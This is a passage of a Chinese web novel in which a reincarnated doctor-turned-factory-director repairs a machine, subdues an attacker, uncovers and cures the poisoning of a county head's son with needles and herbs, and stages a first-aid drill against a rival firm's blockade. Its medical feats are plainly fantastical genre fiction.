张固、李狗子等人抱胸站在一旁，脸上是稳操胜券的冷笑。 机器的问题他们心知肚明——别说两小时，两天也休想修好。他们就等着看新厂长林卫国当众出丑。 大部分工人围成大圈，脸上带着兴奋与期待，小声议论着。 输赢都好，热闹要紧。 这帮人，纯粹是来看戏的。 林卫国面色平静，并不在乎这些。 别人是嘲弄也好，期待也罢，哪怕怀疑，他一概没理。 他眼睛死死盯着的只有那台搅拌机。 扳手一抄，“当啷”一声就搁边上。 伸手就卸防护壳。 当人人都以为他会小心试探，这小子却快出了残影！ 螺丝飞转，挡板翻落，卡扣应声而开。 手法干净利落，一下是一下，不带半分犹豫。 行云流水间露出的那种精熟劲头，哪里像个生手？倒像是厂子里泡了大半辈子的老师傅。 单单露这一手拆解功夫，就让底下不少等着看笑话的老工人不吱声了。 第24章 十元奖金 李狗子撇撇嘴，对张固酸溜溜道：“拆得快顶屁用！花架子！” 他接着提高了嗓门：“我告诉你们，毛病在传动轴里头的卡销上！那定位卡销早断了卡死在里头！没专用套筒工具，神仙也取不出来！更别说厂里根本没备用件！” 他这话让张固几人的冷笑更浓了。 果然，林卫国很快遇到了难题——一根断裂的卡销死死卡在传动轴深处的轴承缝隙里。 死结。没专用工具，取出断销无异于痴人说梦。 见林卫国停下动作，李狗子脸上得意更盛。 林卫国脸上却不见丝毫慌张。他沉吟片刻，对旁边的小王道：“去我办公室，拿那个装银针的布包，还有一盏酒精灯。” 众人一愣。修机器拿银针干什么？ 东西很快拿来。林卫国从布包里挑出最粗的钢针，在酒精灯上将针尖烧得通红。 在所有人不解的目光中，他手腕一动，将那通红的钢针稳稳刺入断销正中心！ “滋啦——”一声轻响，青烟冒起。 他平静解释：“利用金属热胀冷缩，让断销和外壁之间产生一丝缝隙。” 紧接着，他拿起另一根细长钢针探入缝隙，巧劲一挑！ “叮——”一声脆响。那让所有老师傅都束手无策的断销，竟被他完整无损地挑了出来，掉落在地！ 这匪夷所思的一手，让李狗子和所有懂行工人全都傻了眼！眼珠子瞪圆，嘴巴张得老大！这……这还是人吗？！ 林卫国心中一片平静。“前世处理断裂的体内医疗探针，用的就是这种应力巧劲。没想用在五十年代的老古董上也有效。” 断销取出，新问题来了：没有配件。 这依然难不倒林卫国。他走到车间角落那台废弃多年的老旧车床边，从废料堆里拣出一块材质相近的废旧钢材。 凭借前世对材料力学、金属处理和精密加工的深厚理解，他启动那台老掉牙的车床，靠一双手对废钢进行手动打磨、淬火、再打磨！ 一小时后，一枚在尺寸、硬度、光洁度上与原装分毫不差，甚至工艺更胜一筹的全新卡销，在他手中诞生了！ 林卫国将这枚自制的闪亮配件完美安装。 但他并未停手，又趁此对机器内部的齿轮咬合松紧度和几个关键润滑系统做了几处微小调整。 旁人看来或许是多此一举。只有林卫国自己知道，这些微调，是后世工业在效率和耐用性上沉淀几十年的精华。 一个半小时后，距离赌约结束还有半小时，林卫国已将外壳重新装好。 他拍拍手上油污，在车间死一般的寂静中，走到启动开关前，轻轻按下。 “嗡——” 预想中的巨大噪音和震动并未出现！ 取而代之的是平稳、顺畅、充满力量感的嗡嗡声！比机器新出厂时还要顺畅、安静！ 巨大的搅拌轴飞速转动，转速肉眼可见地提升了一大截！ 任何一个经验丰富的工人都看得出来——这台机器脱胎换骨了！ 全场，一片死寂。 李狗子脸色由红转白，再变青，“噗通”一声瘫坐在油污地上。 张固嘴里的半截烟掉在地上，浑身筛糠般颤抖，指着台上神情淡然的林卫国，一个字也说不出来。 “厂长牛逼！” 年轻的小王第一个反应，振臂高呼道出了所有人心声！ 下一秒，雷鸣般的掌声和山呼海啸般的欢呼在整个车间爆发！ 工人们看向林卫国的眼神，已从怀疑看戏彻底变为敬畏、崇拜，甚至狂热！ 林卫国抬手示意安静。他一步步走到面如死灰的张固面前，平静道：“张主席，该兑现承诺了？” 张固在一百多双眼睛注视下，只觉脸上火辣辣如同被无数个耳光抽过。羞辱、愤怒、不甘彻底冲昏头脑。 他突然暴起，抄起身边一根半米多长的撬棍，双眼血红地咆哮： “小畜生！老子跟你拼了！” 沉重的铁棍带着呼啸风声，狠狠朝林卫国头顶劈下！ 面对张固那足以开碑裂石的致命一击，车间工人惊恐尖叫。苏晚夏花容失色，下意识捂住了嘴。 在他们看来，林卫国这样一个文弱书生，面对如此袭击，必死无疑！ 然而，林卫国的反应远超所有人想象。 那呼啸的铁棍，在他眼中仿佛慢动作。没有花哨招式，没有半分闪躲退让，他只用了最简单、直接、致命的军用格斗术！ 就在铁棍及顶的瞬间，他以常人无法做到的角度向左侧微偏，精确地避开了棍风。 随即，他如鬼魅欺身贴近因用力过猛而门户大开的张固。右手化作手刀，势如雷霆，精准砍在张固持棍的手腕关节上！ “咔嚓！” 骨骼脆响清晰传遍落针可闻的车间。 “啊——！” 张固发出凄厉惨嚎。半米长的铁棍“哐当”落地。他抱着诡异扭曲的手腕，疼得满地打滚。 林卫国一脚踩住铁棍，冰冷地俯视哀嚎的张固。一股从尸山血海中磨练出的凛冽杀气轰然散开！ “我给你机会了。”他声音毫无温度，“是你自己，不想要。” 在所有人惊骇的目光中，他踩着铁棍的脚缓缓发力。 那拇指粗的实心铁棍，竟被他一只脚踩得肉眼可见弯曲、变形！最终成了一个触目惊心的“U”形！ “嘶——” 车间响起一片倒吸凉气声。 如果说林卫国那神乎其技的修理技术是“神”，那么此刻这碾压式的暴力和冷酷，便是“魔”！ 亦神亦魔！ 工人们看向林卫国的眼神已被恐惧和敬畏填满。他们心中最后一丝侥幸也随之粉碎。 他们终于明白：这位年轻得过分的厂长，拥有化腐朽为神奇的手段，更有杀伐果断的雷霆脾气！绝不可招惹！ 林卫国无视张固的嚎叫，蹲身抓起他脱臼的手腕。“咔嚓”一声，轻描淡写地接了回去。 这种“能断又能合”的手段，比单纯的暴力更令人胆寒。 “把他和李狗子，一起扔出工厂。”他像丢垃圾一样，对旁边吓傻的工人吩咐道。 做完这一切，他起身环视全场，声音不大却穿透每个角落： “还有谁，对我的新规矩，有意见？” 无人敢应。车间死寂。先前闹事的老油条们恨不得把脑袋埋进地里。 立威之后，该给甜枣了。 林卫国立刻让小王拿出准备好的新药膏配方和详细生产激励方案。他当众宣布： “从明天起，卫国制药厂正式全力生产‘卫国烫伤膏’！我承诺，第一个月试生产，所有参与工人，无论盈亏，除底薪外，每人保底十元奖金！盈利之后，奖金只高不低！” “十……十元奖金？！” 这数字如同深水炸弹，瞬间点燃了工人的热情！十块钱！那是他们过去辛辛苦苦小半个月才能挣到的钱！现在仅是保底奖金？！ 第25章 慢性毒药 对金钱的渴望，迅速取代了恐惧！ “厂长万岁！”不知谁先喊出来。 山呼海啸般的欢呼和雷鸣掌声轰然爆发！工人们脸上洋溢着前所未有的、充满希望的狂热光芒！ 士气，空前高涨！ 当晚，在林卫国亲自指挥下，卫国制药厂车间第一次灯火通明，热火朝天地试生产。 苏晚夏没有回家。她主动留下帮林卫国处理杂事，端茶倒水。她看着眼前时而沉稳如山、时而雷霆万钧的少年，看着他仅用一天就将死气沉沉的烂摊子变成充满希望的崭新工厂，心中百感交集，美目异彩连连。 这时，一个年轻的药堂伙计急匆匆跑进来，慌张地找到苏晚夏： “师姐，不好了！师父让你赶紧回去，有急事！” 苏晚夏心中一惊，不敢耽搁，连忙随伙计回了“济世堂”。但没过多久，她又独自更快地跑回了工厂。 此刻她脸上已无羞涩敬佩，只剩凝重和焦急。她跑到林卫国身边，急切道： “卫国，不好了！我爷爷遇到个极其棘手的病人！病情蹊跷，恶化极快！连赶去的孙思源教授都束手无策。爷爷说，整个县城，恐怕只有你能看出一二了！” 林卫国眉头紧皱。能让苏明诚和孙思源两位名医都犯难的病人，绝非小事。 “什么病人，这么严重？” 苏晚夏凑到他耳边，压低声音，一字一句地说出一个足以震动清河县的名字： “是……咱们县钱县长的独生子。” 夜深了，制药厂却灯火通明。 事实证明林卫国的办法是有效的，所有的宫人都像打了鸡血一样干活。 厂子好像真看到曙光了。 林卫国此时正在厂房巡查，苏晚夏提着个饭盒进来。 “忙活一天，饿坏了吧？垫垫肚子。” 她打开饭盒盖，白米饭配着两样小炒，这年头，这伙食算顶好了。 饭菜香味一飘，林卫国肚子也跟着叫唤。 林卫国看她一眼，却见她脸上带着几分焦急，不由心中一突。 “出事了？”林卫国心下一沉。 苏晚夏点头，压低声音：“钱国栋县长的独生子钱斌，突然病危了！上吐下泻，高烧不退，人已经昏迷。我爷爷和孙教授都看过了，用了所有办法，病情还在恶化……人快不行了。”她的声音带着一丝颤抖，“爷爷说这病闻所未闻，整个县城，恐怕只有你可能有办法了。” 钱县长的独子！病危！ 林卫国瞬间意识到这件事的棘手程度。 这早已超出了治病救人本身，直接牵涉到清河县最顶层的政治漩涡。 这就是一场豪赌！ 治好了，他林卫国和起步中的“卫国制药”，将获得最顶级的政治靠山，在清河县无人敢再轻易招惹。可若是失手，甚至稍有差池，他这个根基未稳的“外来户”，和他那刚见一丝希望的厂子，都会被县长雷霆之怒瞬间碾碎！ 苏晚夏看着他沉默，眼中担忧更深：“卫国，我知道很难，你不想去的话……” 林卫国忽然抬起头，笑了。 他心里明白，建造庇护家人的医疗王国，这考验躲不掉。 退缩？没那可能。 “走。”他盖好饭盒盖，声音干脆，“现在就去看看。” 厂门口有辆军绿吉普等着。车一路飞驰，直闯县委大院深处。停下在一栋独立小楼前。 楼内空气凝固了，闷得很。 客厅里，县长钱国栋来回踱步，像只受困野兽。他大约五十岁，面相威严，这时却鬓角发白，眼中布满血丝。一个父亲的焦虑和绝望，全都写在脸上。 身边，县长夫人李娟保养得不错，却伏在沙发低声啜泣，身体不停发抖。崩溃就在眼前了。 对面坐着的省里专家孙思源和县医院院长，两人脸色绷紧，茶水摆在眼前，一点没动过。 钱国栋目光扫过被苏明诚推崇的“神医”，发现竟是个十八岁左右、衣着普通的毛头小子，眼中刚燃起的那丝希望瞬间暗淡了大半。 失望让他的语气生硬起来：“孙教授，苏老，这就是你们电话里的希望？” 县长夫人猛地抬头，看到林卫国，情绪瞬间失控：“我儿子都要不行了！你们找个孩子来胡闹？这是要他的命啊！”哭声尖利。 孙思源老脸涨红，还是站起身解释：“钱县长，李大姐，稍安勿躁！医术一道，达者为先。年龄从来不是问题！林大夫的本事我亲眼所见，他的医术，绝对在我之上！” 林卫国却似没听见。他径直穿过客厅，走向里间的病床。 床上，一个十五六岁的少年昏迷不醒，身体还在微微抽搐。面如死灰，嘴唇发紫。更诡异的是，在他裸露的胳膊和脖颈皮肤下，隐约透出蛛网般的暗紫色诡异纹路。 林卫国俯身查看，又轻轻翻开他的眼睑看了看瞳孔。随即，他转身面对跟进来的钱国栋，说出了让所有人震惊的话： “钱县长，这不是病。” 在众人错愕的目光中，他字字清晰： “是中毒。一种非常罕见、长期的、由多种植物混合而成的剧毒！” 中毒？！ 这两个字，如同炸雷，在死寂的房间里轰然爆响！ 李娟如同疯了一般尖叫起来：“不可能！绝对不可能！斌儿的饮食全是我亲手负责，天天有记录！谁能害他？谁敢害他！” 林卫国没有理会她的歇斯底里。目光锐利地投向床头柜——那里放着一碗刚熬好、还冒着热气、未及入口的中药。 他走过去，在药渣里捻起一点，凑近鼻尖轻嗅。 瞬间，他的眼神冰寒如刀！ “真正的毒源，很可能就是这些你们天天当补品喂的药！” 他转向彻底呆滞的钱国栋夫妇，一字一句揭示了令人亡魂大冒的真相： “有人，就在你们的眼皮底下，给令公子下了至少三个月的慢性毒药。” 正沉浸在悲痛中的钱国栋，听到这话的刹那，脸上的痛苦焦虑瞬间冻结，只剩下一片刀刃般的锐利与冰冷。 身为上位者，他早已练就临危不乱的本领。 最初的震惊过后，他迅速压下了翻涌的情绪。没有质疑林卫国的论断——能起死回生的神医，没必要撒这种谎。 一股邪火直冲天灵盖！竟敢在他眼皮子底下，对他唯一的儿子下手！ “警卫！”钱国栋声音不高，却像淬了冰碴子，冻得人心肝一颤。 很快，客厅塞得满满当当。给儿子做饭煎药、端茶倒水的保姆、厨子、勤务员，一个不落全被带了过来。空气死沉，压得人喘不过气，一群人面面相觑，大气不敢喘。 林卫国没吭声。他朝苏晚夏打了个手势，示意她找个干净的搪瓷盆。水打来半盆，他端起儿子床头那碗没喝的药，把碗底的药渣一股脑倒了进去。 “苏护士，”他扭头，“劳烦去院里鱼缸，捞几条小金鱼过来，快。” 第26章 刮骨疗毒 苏晚夏虽满心疑惑，动作却麻利。没一会儿，几条鲜亮的小金鱼就被放了进去。 金鱼一进水中，似乎没有什么异样，游的欢实。 一看鱼都没事，老保姆立刻扯着嗓子道。 “县长！你也瞅见了，根本就不是我老婆子的事啊！” “我冤枉啊！” 林卫国却并未理会她，而是从自己的包中摸出一撮干草抹来。 这是药引子，到底有没有问题，这才是关键。 他不动声色，手指轻弹，将干草抹直接弹进水中。 开始的时候还没什么事，鱼还一样的游。 可也就几秒钟之后，水里的鱼却好似被扔进油锅里一样，开始疯狂的翻涌起来！ 这诡异狂躁的景象仅持续了不到半分钟。 随后，金鱼齐刷刷身体僵直，翻起惨白的肚皮，浮上水面，死状凄惨！ “啊——！” 钱国栋的妻子李娟再也承受不住这刺激，尖叫一声，双眼翻白，瘫倒在地。 钱国栋脸色铁青，紧握的双拳青筋暴起！ 旁边的孙思源教授和县医院院长，更是倒吸一口凉气！ 这毒物，这验证手法，已完全超出了他们的认知！ 铁证如山！ 一个负责端药的年轻保姆心理防线瞬间崩溃。 她“哇”地哭出来，双腿一软跪倒在地，对着钱国栋拼命磕头： “不……不是我！县长！真不是我下的毒啊！” “是……是王厨子！是他！他每次都给我一包药粉，说是外地求来的‘强身健体’药，让我必须在端药前亲手加进少爷药里！他说能让少爷好得快些！我……我真不知道那是毒药啊！” 刷——！ 所有人的目光如同利刃，瞬间刺向那个在钱家干了近十年、平日里最忠厚老实的厨子，王师傅！ 然而，不等警卫上前，一直低头发抖的王厨子，嘴角突然溢出一道黑血！ 他猛地抬头，怨毒而又解脱地扫了众人一眼，随即浑身剧烈抽搐，口吐白沫，脑袋一歪，当场气绝身亡！ 在众目睽睽之下，他咬碎了藏在牙中的毒囊！ 唯一线索，断了！ 但这血淋淋的自尽，恰好证明下毒之事千真万确！ 其背后，必有一只组织严密、手段狠辣、拥有死士的黑手！ 此刻，钱国栋对林卫国再无半分怀疑，只剩抓住最后一根救命稻草的迫切。 他几步上前，死死抓住林卫国的胳膊，布满血丝的双眼紧盯着他，声音嘶哑近乎哀求： “林大夫！我的好大夫！现在……现在我儿，他还有救吗？” 林卫国看向病床。催化剂的气味扰动下，钱斌体内的毒素开始激荡，皮肤下暗紫色蛛网纹路愈发狰狞清晰。 “有。” 钱国栋眼中闪过狂喜。 “但是，这混合毒素已深入骨髓血脉。要救他，必须用‘刮骨疗毒’之法——金针刺穴，将全身毒素逼出体外！” “这过程凶险万分，病人会承受世间最顶级的痛苦，甚至……” 他顿了顿，迎着钱国栋的目光，一字一句地问道： “……那时看上去，会比现在更像一个垂死之人！” “县长，敢让我放手一搏吗？” 林卫国的话像块巨石，压在县长钱国栋心上。 “刮骨疗毒”——过程惨烈，儿子会变得比现在更像垂死之人！这意味着他要眼睁睁看着儿子经受超乎死亡的折磨。这需要的已不仅是信任，近乎于盲目的信仰！ 客厅里，时间凝滞。 钱国栋的目光在儿子青紫的小脸和林卫国平静深邃的眼眸间来回扫视。他的内心在理智与情感的边缘痛苦挣扎。 最终，为人父、不愿放弃任何一丝希望的本能，压倒了恐惧和犹豫。 他猛地一咬牙，布满血丝的虎目迸发出决绝的光芒，声音沙哑地对林卫国托付道：“只要能救斌儿！一切拜托林大夫了！” “好。” 林卫国点头。他要的，就是钱国栋这个态度。 他立刻下令，所有无关人员退出客厅，未经许可不得踏入病房。最终，房间内只留下他、神情紧张却异常坚定的护士苏晚夏作助手，以及提心吊胆的钱国栋和孙思源教授作见证。 房门缓缓关闭。 林卫国从布包中再次取出那卷长短不一的钢针。酒精灯消毒后，他走到病床前。 “苏护士，按住肩膀。” 一声低喝，林卫国眼神锐利，针法施展！ 若说救治赵小宝时是“精准”与“巧妙”，那么此刻，只剩下“霸道”与“凌厉”！他下针快如闪电，每一针都带着破除万邪的雷霆之势，精准刺入钱斌周身要穴！ 然而，随着钢针刺入，病床上的钱斌非但未见好转，反而出现恐怖反应！ 他身体剧烈颤抖，木床“吱呀”作响！皮肤下暗紫色的蛛网纹路如同活物般疯狂蠕动蔓延！短短十几秒，整张脸变为骇人的青紫色，紧闭的口鼻缓缓渗出腥臭的黑血！ 这哪里像在治病？分明是一副毒发身亡的惨状！ “啊——！” 门外，透过门缝偷看的县长夫人李娟，目睹此景，脑中神经轰然绷断！她当场崩溃，疯了般砸门，发出凄厉哭喊： “杀人了！骗子！他在杀我儿子！” “钱国栋！睁眼看看！快阻止他！儿子要被他害死了！” 李娟的哭嚎如同恶毒诅咒，狠狠冲击着房内每个人紧绷的神经。 钱国栋极力克制，但看到儿子惨状比方才更甚百倍，这位宦海沉浮半生的男人虎目含泪，身体摇摇欲坠。他拳头捏得死紧，对林卫国的信任，在这一刻剧烈动摇！ 房间中心，林卫国却如入定老僧。他头也不抬，对门外的哭喊和钱国栋杀人的目光充耳不闻，手下动作反而更快！ 只听他沉声一喝，如洪钟震响： “抱元守一，正邪相争！毒入骨髓，非雷霆手段不可驱！此乃黎明前至暗时刻！此刻收手，毒邪反噬回流，必断心脉，神仙难救！” 既是解释，亦是警告！ 就在钱国栋心理防线几近崩溃，欲冲上前阻止之际—— 床上钱斌猛地张嘴！ “噗——！” 一大口黑紫色、胶质般的粘稠毒血狂喷而出，溅满床单！ 毒血腥臭刺鼻，落在床单上竟发出“滋滋”的轻微腐蚀声！ 毒血喷出，极致抽搐骤止！ 更神奇的是，遍布全身的恐怖紫色纹路，如同潮水般肉眼可见地迅速消退！ 钱国栋呆住，眼睁睁看着儿子脸上骇人的青紫一点点褪去，泛起些许血色。几乎停滞的呼吸，渐渐变得悠长平稳…… “噗通”一声。 钱国栋再也支撑不住，虚脱般靠上墙壁，大口喘息。 门外李娟透过门缝看到这一幕，凄厉哭喊瞬间化作喜悦的呜咽。 一旁的苏晚夏，望着林卫国被汗水浸透的背影，看着这力挽狂澜的少年，眼中充满无以言表的震撼与崇拜！ 第27章 神医 就在所有人以为大功告成，紧绷的神经稍可放松之时—— 异变陡生！ 病床上，刚刚平稳的钱斌双眼猛地翻白！整个身体如同断线木偶般一僵！ 胸膛起伏没了，鼻翼呼吸停了，手腕脉搏……瞬间消失！ 一直守候观察的孙思源教授第一个察觉不对，他脸色剧变，不顾规矩一个箭步冲上，手指搭上钱斌颈动脉！ 下一秒，孙思源面如死灰！ “糟了！”他骇然失声，“毒素虽被逼出，但心脉承受不住霸道的药力和冲击，已经……停跳了！” 死亡，在给予一丝希望后，以更彻底、更决绝的方式，再次降临！ 钱斌心跳骤停。 “斌儿——！” 县长夫人李娟紧张过度，竟直接昏了过去。 钱国栋的身躯也有些摇晃，但他还是强行站稳身子，眼睛死死的盯着病床上的儿子。 “快！心脏复苏！” “肾上腺素！准备肾上腺素！” 孙思源教授和县医院院长从震惊中回神，以最快速度扑上去，对钱斌进行心脏按压和人工呼吸。 然而，无论他们如何努力，钱斌的身体都没有丝毫起色，正无可挽回地迅速变冷。 在他们看来，这已是真正的、不可逆转的死亡。 就在绝望弥漫之际，林卫国猛地推开院长，沉声喝道：“没用的！都让开！” “这不是普通心跳骤停，是毒素残留侵入心脉导致的急性‘心肌麻痹’！你们这套救不了他！” 他无暇解释更多，直接对吓傻的苏晚夏下令：“苏护士，守住口鼻，清理异物，保持呼吸道绝对通畅！” 苏晚夏对他已有近乎盲目的信任，立刻点头，专业而迅速地行动起来。 林卫国随即从布包中取出几根最长的钢针！在孙思源和院长惊骇的目光中，他手腕翻飞，寒光闪烁的钢针精准而深重地刺入钱斌胸口“膻中”、“神封”、“灵墟”、“中庭”等心脉要穴！ 疯了！这些穴位平日行针都需慎之又慎，他竟敢在此时用如此霸道手法下针？！ 更让他们头皮发麻的还在后面。 林卫国双手如幻影，在钢针尾部高速交替捻动！每一次捻动都带着特殊频率与力道的震颤——这正是他融合前世顶尖生物电刺激与失传“透骨针法”的独创：以针代电，手动起搏！ 奇迹发生了！ 随着林卫国手指的奇异节奏，钱斌彻底停跳的心脏，竟在胸膛内重新搏动起来： “咚…” “咚…” “咚…” 微弱，却无比规律！ 他竟真用几根钢针，替代了心脏起搏功能！ 孙思源和院长如石雕般呆立，眼前神鬼莫测的一幕，将他们的世界观冲击得支离破碎。这哪里是医术？分明是与阎王抢命的通天手段！ 但这逆天手法对施术者消耗巨大。短短几分钟，林卫国额头已渗出豆大汗珠，脸色肉眼可见地苍白下去。他知道，光靠外部刺激撑不了多久！必须尽快用药物激活钱斌自身心脉！ 他猛地抬头，对角落惊呆的赵胜利嘶吼：“赵科长！快！孩子心脉需要强大能量激活！之前从山耗子手里收的‘红线草’和‘龙血藤’呢？” “立刻用最烈的烧刀子酒，把它们捣烂成汁！要快！” 赵胜利如梦初醒，这才明白那两味奇草竟是救命关键！他应了一声，连滚带爬冲出去准备。 所有人的希望，都寄托在那两味草药上。 房间中央，林卫国紧闭双眼，咬紧牙关，以凡人之躯与无形的死神拔河。体力与精神力正恐怖地流失。 他，能撑到解药制好吗？ 时间仿佛被无限拉长。 林卫国脸色惨白，汗珠汇成细流滑落。那双快到模糊的手，却依旧稳定地捻动着维系生命的钢针。每一秒都是煎熬。 苏晚夏守在一旁，用毛巾不断为他拭汗。看着他因透支而颤抖的唇，她心中充满担忧与敬佩。 房门被猛地撞开！ 赵胜利端着石臼冲进来，浓烈的酒气中混杂着一股奇异馨香——深紫色的粘稠药汁已成！ “药来了！” 林卫国头也不回：“用小勺，一滴一滴喂入口中，别急。” 苏晚夏重重点头，舀起药汁，小心地顺着钱斌嘴角喂下。 药汁入喉，奇迹再临！ 一股朝霞般的红晕从钱斌“膻中穴”爆开，瞬间蔓延全身！ “咚！” 那颗依赖外力跳动的心脏，被注入磅礴生机，猛地搏动了一下！ 随即，“咚！咚！咚！”，一声比一声更强劲地自主跳动起来！ 成了！ 林卫国收回钢针，长吐一口带着血腥味的浊气，精神松懈的瞬间身体一晃，被苏晚夏一把扶住。 病床上，钱斌微弱的呼吸变得平稳悠长。他缓缓睁眼，眸中浑浊死气尽散，恢复少年清明。看着床边喜极而泣的父母，他虚弱却清晰地唤道： “爸……妈……” 孩子得救，尘埃落定。 孙思源走到林卫国面前，整肃衣衫，对着这累到虚脱的少年深深一揖到底。他抬起头，眼中再无傲慢，唯有由衷敬佩：“林大夫，老夫行医一生，自诩见多识广。今日方知天外有天，人外有人！‘神医’二字，你当之无愧！” 确认儿子脱险，清河县长钱国栋走到林卫国面前。他未多言感激，只用一双情绪复杂的虎目深深凝视对方，随即当众宣布： “林大夫，我儿子的命是你给的。我不能让你这样的人才埋没乡野。‘卫国制药’，即日起由县政府正式定为‘重点扶持企业’！” 他顿了顿，补充的分量更重：“另外，我以个人名义，聘请你担任我的‘私人保健顾问’。” “保健顾问”——这四字的分量远超金钱物质！它意味着林卫国从此拥有县长级的官方身份，在清河县有了最坚硬的靠山！ 事后书房密谈，钱国栋追问下毒真凶。林卫国结合前世记忆与“红线草”特性，沉吟道： “钱县长，能配出这种慢性混合毒，必是医道高手。且对方目的恐不止杀人，更在嫁祸。” 他目光平静：“您不妨查查，在苏老引荐我之前，是否有背景不凡的‘名医’接触过令公子？” …… 林卫国带着收获与声望回到初具规模的工厂。有了县长背书，他准备大展拳脚。 然而，被他提拔管理销售的赵胜利，却拿着一份刚取的电报，脸色难看地找来： “卫国，不好了！你看这个！” 电报来自省内唯一的国营药业巨头——“红旗制药厂”！措辞严厉，不容置喙： 以“规范市场秩序，打击劣质药品”为由，勒令省内所有供销社及医院系统，立即暂停采购“卫国制药”等“小作坊”的“未经审核药品”！并已派出调查组，将于明日抵达清河县，对工厂进行“全面审查”！ 县里的障碍刚扫清，省城的行业巨鳄已将他视为眼中钉，发动了足以让小企业瞬间灰飞烟灭的致命绞杀！ 第28章 演习开始 县长家那摊子事儿，现在总算消停了。 林卫国刚回到厂子，赵胜利风风火火闯进来。 “卫国！出事！” 赵胜利把一份文件递给林卫国，林卫国一看，眉头紧皱。 这是一份红头文件，上面盖着省医药采购站的公章。 “为确保药品供应安全，即日起，全省所有供销社、医药公司、指定采购站，暂停采购计划外的药品。” 文件末尾，更是冷冷地、特意点出一行字——“卫国制药”，即刻封存所有产品，静待省调查组质量检测与合规审查。 赵胜利手指重重戳着那几个字，指尖因为用力而发颤，声音嘶哑： “这根本不是正常的市场竞争！这是……行政封杀！” “是省医药总公司的红旗制药厂！他们一句话，就利用采购站，活生生堵死了我们的国营销路！” “以后我们的药，一盒也进不了国营商店了！” 这把剑，悬在卫国制药头上。 没等林卫国消化这消息，第二记重击接踵而至。 工厂电话骤响。原材料供应商在电话那头支支吾吾，充满歉意：省里的化工厂和药材公司都接到了“招呼”，下一批计划调拨给他们的原料“供应紧张，无法保证了”。 销路断绝！原料断绝！ 这是要扼杀卫国制药这个刚见希望的婴儿！ 厂里骤然从狂热坠入冰窟。 正当人心惶惶，一辆绿色北京吉普带着嚣张气焰刹在厂门口。 省医药公司的“联合调查组”到了。 带头下车的是省城红旗制药厂的副厂长刘建斌，四十多岁，大背头，倨傲地扬着下巴。 省卫生厅药监处一名戴眼镜的干事紧跟着下车，胳膊下夹着鼓囊囊的公文包。 刘建斌下了车，对眼前的药品和生产线视若无睹。他径自从等在车旁的老厂长王建民和工会主席张固等人中间穿过，大步流星直奔档案室。仿佛这不是走访，而是提审。他冷着脸，毫不客气地索要生产许可、工人档案、采购凭证，甚至连消防证明都没放过。 他清楚得很：查药？那是白费力气。孙思源点过头的东西，挑不出毛病。他要做的，是釜底抽薪，撼动卫国制药的根基——从程序、从身份上彻底否定它！ 厂里工人们的心，再一次提到了嗓子眼。 处于风暴中心的林卫国，却出奇地冷静。他把忧心忡忡的赵胜利和苏晚夏拦在门外，门一关，落了锁。烟点上，目光掠过窗外那两道耀武扬威的身影，脑筋转得飞快。 对手站在了理上，这事硬扛不成。 一定还有办法！ 翻腾了一整夜。 窗外刚放亮，林卫国捏着那包“速效止血散”样品，无声穿过小院。 父亲林长山在屋里静养，另一边的老猎人李大山，正闷头一下下劈着柴。 林卫国把药包往桌上一搁： “爹，李叔，你们在山里活半辈子，最怕遇上啥？” “伤！”李大山的脸立刻阴下来，“碰上虎狼还能硬干，可受了伤血流不停，死期也就不远了。” 林长山也重重出声：“山里受了伤，就一个字，死。” 一道亮光刺进林卫国眼底。 有门了！这绝对就是破开此局的关键点！ 隔天，省里的“联合调查组”到了。 第二天，副厂长刘建斌殷勤引路，一行人直奔卫国制药厂。 一叠叠规章条文，成了他们最趁手的武器。 从消防通道够不够宽，到工人上厕所的时间记录，甚至仓库里货堆码多高……样样都在他们挑剔的检视之下。 字斟句酌，鸡蛋里挑骨头。 整个厂子被迫停产，工人们心惊胆战地跟在后面，忍受着无休止的盘问和刁难。 面对这一切，林卫国却出奇地配合。脸上不见丁点怨怼，全程带着笑，将调查组提出的问题一一恭敬记下，反复保证“立即整改”。 暗地里，他已通过赵胜利，将工厂的绝境如数汇报给了县长钱国栋。 电话里，他没直接求情——那样只会授人以柄。他只是提出了一个看似不相干的小建议： “钱县长，听说咱们县里的国营林场和凤凰山煤矿，每年都因工伤事故影响生产，还……闹出过人命，是吧？” 电话那头的钱国栋“嗯”了一声，不明所以。 林卫国接着道：“我们厂子想尽点心，为县里的一线工人，义务办个‘安全生产与创伤急救’讲座。也算是新厂为县里的安全生产，出份小力吧。” 钱国栋何等人物，瞬间了然！这小子哪是要办讲座？分明是想借自己这个县长的手，为那被卡死的“速效止血散”，搭一座一鸣惊人的舞台！ “好！这想法很好！”钱国栋嘴角掠过一丝不易察觉的赞许，“小林同志觉悟高，我这个县长，一定全力支持！” 他不动声色地准了，还亲自将这场“义务讲座”，升级为由县政府办公室牵头、县林场和凤凰山煤矿联合举办的“安全生产与工伤急救实战演习”！规格截然不同。 …… 第二天，县国营林场伐木场。 一片空地清理出来。钱国栋、林场场长、矿山矿长等县里头面人物悉数到场，神情严肃。被钱国栋以“监督乡镇企业安全生产”名义“邀请”来的刘建斌，也只能在场边观望。 场长一声令下： “演习开始！” “滋滋——滋——！” 刺耳的链锯轰鸣骤然响起。一名扮演伐木工的青年脚下“猛地一滑”，手中沉重的链锯瞬间失去控制，利刃般狠狠“划”过大腿！ “啊——！” 一声凄厉的惨叫！工人轰然倒地。大腿上“伤口”狰狞皮开肉绽，鲜红的“血液”如同喷泉般激射而出！——这是林卫国、钱国栋与林场默契安排的“意外”。伤是假的，“血”是兑好的家畜血。可那场面，逼真得让人头皮发麻！ 卫生员提着药箱急冲上去，手忙脚乱地清理、上药，用纱布、止血带死死捆扎。可任凭他们如何折腾，那刺目的“鲜血”依旧汩汩涌出，现场秩序顿时一片混乱。 第29章 翻盘了！ 众人手足无措时，旁边的刘建斌抱着胳膊，用专家口吻说着风凉话： “看吧，这就是基层！安全意识差，操作不规范，急救也跟不上，不出事才怪！” 钱国栋没理他。 就在这时，林卫国提着一个半旧药箱，平静地从人群后方走上前。 他蹲下身，打开一包纸袋，将里面白色的粉末，直接撒在那道“喷血”的狰狞伤口上。 奇迹发生了！ 在所有人震惊的注视下，那“喷泉”般的血流，在药粉接触伤口三秒内，完全止住！伤口上迅速凝结了一层干燥、严密的白色保护壳，死死封住了下面的“血”。 静！ 全场死寂！ 林场场长和矿山矿长眼珠子都快瞪出来了！他们管着县里工伤风险最高的单位，每年意外伤亡、流血致死的工人不在少数！没人比他们更清楚，林卫国手上这一小包药粉意味着什么！ 那简直是第二条命！是倍增的生产效率！ “小……小林同志！” 林场场长第一个反应过来，一个箭步冲上去，顾不得领导架子，激动地抓住林卫国的手，声音发颤： 